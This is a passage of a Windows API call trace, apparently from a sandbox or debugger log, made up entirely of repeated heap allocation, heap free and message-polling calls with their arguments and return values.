dwFlags=0x0, lpMem=0x1073b80 | out: hHeap=0xe80000) returned 1 [0131.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1758 | out: hHeap=0xe80000) returned 1 [0131.707] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bb60 [0131.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b08 [0131.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1698 [0131.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b08 | out: hHeap=0xe80000) returned 1 [0131.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bc50 [0131.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d30 [0131.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073ca0 [0131.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb16b8 [0131.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ca0 | out: hHeap=0xe80000) returned 1 [0131.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb16b8 | out: hHeap=0xe80000) returned 1 [0131.732] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b818 [0131.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d48 [0131.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb16c8 [0131.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d48 | out: hHeap=0xe80000) returned 1 [0131.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bc28 [0131.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b08 [0131.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b50 [0131.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1768 [0131.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b50 | out: hHeap=0xe80000) returned 1 [0131.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1768 | out: hHeap=0xe80000) returned 1 [0131.732] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b9a8 [0131.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073ca0 [0131.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb17a8 [0131.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ca0 | out: hHeap=0xe80000) returned 1 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b8b8 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d60 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b50 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1658 [0131.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b50 | out: hHeap=0xe80000) returned 1 [0131.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1658 | out: hHeap=0xe80000) returned 1 [0131.733] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bb88 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073bc8 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb17c8 [0131.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bc8 | out: hHeap=0xe80000) returned 1 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b9f8 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b50 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b68 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb16b8 [0131.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b68 | out: hHeap=0xe80000) returned 1 [0131.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb16b8 | out: hHeap=0xe80000) returned 1 [0131.733] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b7a0 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b68 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1828 [0131.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b68 | out: hHeap=0xe80000) returned 1 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b7f0 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073cb8 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d78 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1818 [0131.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d78 | out: hHeap=0xe80000) returned 1 [0131.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1818 | out: hHeap=0xe80000) returned 1 [0131.734] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bc78 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b68 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1688 [0131.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b68 | out: hHeap=0xe80000) returned 1 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bac0 [0131.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b68 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073bf8 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1708 [0131.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bf8 | out: hHeap=0xe80000) returned 1 [0131.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1708 | out: hHeap=0xe80000) returned 1 [0131.735] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105bbb0 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073bc8 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb17d8 [0131.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bc8 | out: hHeap=0xe80000) returned 1 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b890 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073c10 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073c88 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1738 [0131.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c88 | out: hHeap=0xe80000) returned 1 [0131.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1738 | out: hHeap=0xe80000) returned 1 [0131.735] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b958 [0131.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073bf8 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb16b8 [0131.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bf8 | out: hHeap=0xe80000) returned 1 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ba20 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d18 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b80 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb16f8 [0131.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073b80 | out: hHeap=0xe80000) returned 1 [0131.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb16f8 | out: hHeap=0xe80000) returned 1 [0131.736] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ba48 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073cd0 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1838 [0131.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073cd0 | out: hHeap=0xe80000) returned 1 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b868 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073b80 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073bc8 [0131.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb16e8 [0131.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bc8 | out: hHeap=0xe80000) returned 1 [0131.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb16e8 | out: hHeap=0xe80000) returned 1 [0131.737] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ba70 [0131.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073d78 [0131.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d78 | out: hHeap=0xe80000) returned 1 [0131.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bc8 | out: hHeap=0xe80000) returned 1 [0131.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1798 | out: hHeap=0xe80000) returned 1 [0131.737] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bc8 | out: hHeap=0xe80000) returned 1 [0131.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d78 | out: hHeap=0xe80000) returned 1 [0131.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1818 | out: hHeap=0xe80000) returned 1 [0131.737] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073bf8 | out: hHeap=0xe80000) returned 1 [0131.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c58 | out: hHeap=0xe80000) returned 1 [0131.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb16d8 | out: hHeap=0xe80000) returned 1 [0131.737] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c58 | out: hHeap=0xe80000) returned 1 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c58 | out: hHeap=0xe80000) returned 1 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1668 | out: hHeap=0xe80000) returned 1 [0131.738] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c58 | out: hHeap=0xe80000) returned 1 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c58 | out: hHeap=0xe80000) returned 1 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb16d8 | out: hHeap=0xe80000) returned 1 [0131.738] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c70 | out: hHeap=0xe80000) returned 1 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d00 | out: hHeap=0xe80000) returned 1 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb17f8 | out: hHeap=0xe80000) returned 1 [0131.738] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c70 | out: hHeap=0xe80000) returned 1 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c88 | out: hHeap=0xe80000) returned 1 [0131.738] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb16d8 | out: hHeap=0xe80000) returned 1 [0131.738] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073c88 | out: hHeap=0xe80000) returned 1 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ca0 | out: hHeap=0xe80000) returned 1 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb16f8 | out: hHeap=0xe80000) returned 1 [0131.755] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ca0 | out: hHeap=0xe80000) returned 1 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073cd0 | out: hHeap=0xe80000) returned 1 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb17f8 | out: hHeap=0xe80000) returned 1 [0131.755] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073cd0 | out: hHeap=0xe80000) returned 1 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ce8 | out: hHeap=0xe80000) returned 1 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1818 | out: hHeap=0xe80000) returned 1 [0131.755] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ce8 | out: hHeap=0xe80000) returned 1 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d00 | out: hHeap=0xe80000) returned 1 [0131.755] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1818 | out: hHeap=0xe80000) returned 1 [0131.756] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073d00 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e20 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1708 | out: hHeap=0xe80000) returned 1 [0131.756] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e50 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073dc0 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1708 | out: hHeap=0xe80000) returned 1 [0131.756] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074018 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073fe8 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1708 | out: hHeap=0xe80000) returned 1 [0131.756] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074018 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073f58 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1738 | out: hHeap=0xe80000) returned 1 [0131.756] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ef8 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073fd0 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1758 | out: hHeap=0xe80000) returned 1 [0131.756] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e50 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1768 | out: hHeap=0xe80000) returned 1 [0131.756] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074090 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073eb0 | out: hHeap=0xe80000) returned 1 [0131.756] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1928 | out: hHeap=0xe80000) returned 1 [0131.757] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074030 | out: hHeap=0xe80000) returned 1 [0131.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074030 | out: hHeap=0xe80000) returned 1 [0131.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb18a8 | out: hHeap=0xe80000) returned 1 [0131.757] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073dc0 | out: hHeap=0xe80000) returned 1 [0131.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074030 | out: hHeap=0xe80000) returned 1 [0131.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb18c8 | out: hHeap=0xe80000) returned 1 [0131.757] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.757] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073f10 | out: hHeap=0xe80000) returned 1 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074078 | out: hHeap=0xe80000) returned 1 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1938 | out: hHeap=0xe80000) returned 1 [0131.758] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e68 | out: hHeap=0xe80000) returned 1 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073eb0 | out: hHeap=0xe80000) returned 1 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1968 | out: hHeap=0xe80000) returned 1 [0131.758] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074060 | out: hHeap=0xe80000) returned 1 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073fa0 | out: hHeap=0xe80000) returned 1 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1868 | out: hHeap=0xe80000) returned 1 [0131.758] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073f58 | out: hHeap=0xe80000) returned 1 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ef8 | out: hHeap=0xe80000) returned 1 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1888 | out: hHeap=0xe80000) returned 1 [0131.758] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073fa0 | out: hHeap=0xe80000) returned 1 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e38 | out: hHeap=0xe80000) returned 1 [0131.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1948 | out: hHeap=0xe80000) returned 1 [0131.758] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ef8 | out: hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074060 | out: hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1998 | out: hHeap=0xe80000) returned 1 [0131.759] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073eb0 | out: hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ef8 | out: hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1998 | out: hHeap=0xe80000) returned 1 [0131.759] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e80 | out: hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e50 | out: hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb19a8 | out: hHeap=0xe80000) returned 1 [0131.759] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073fa0 | out: 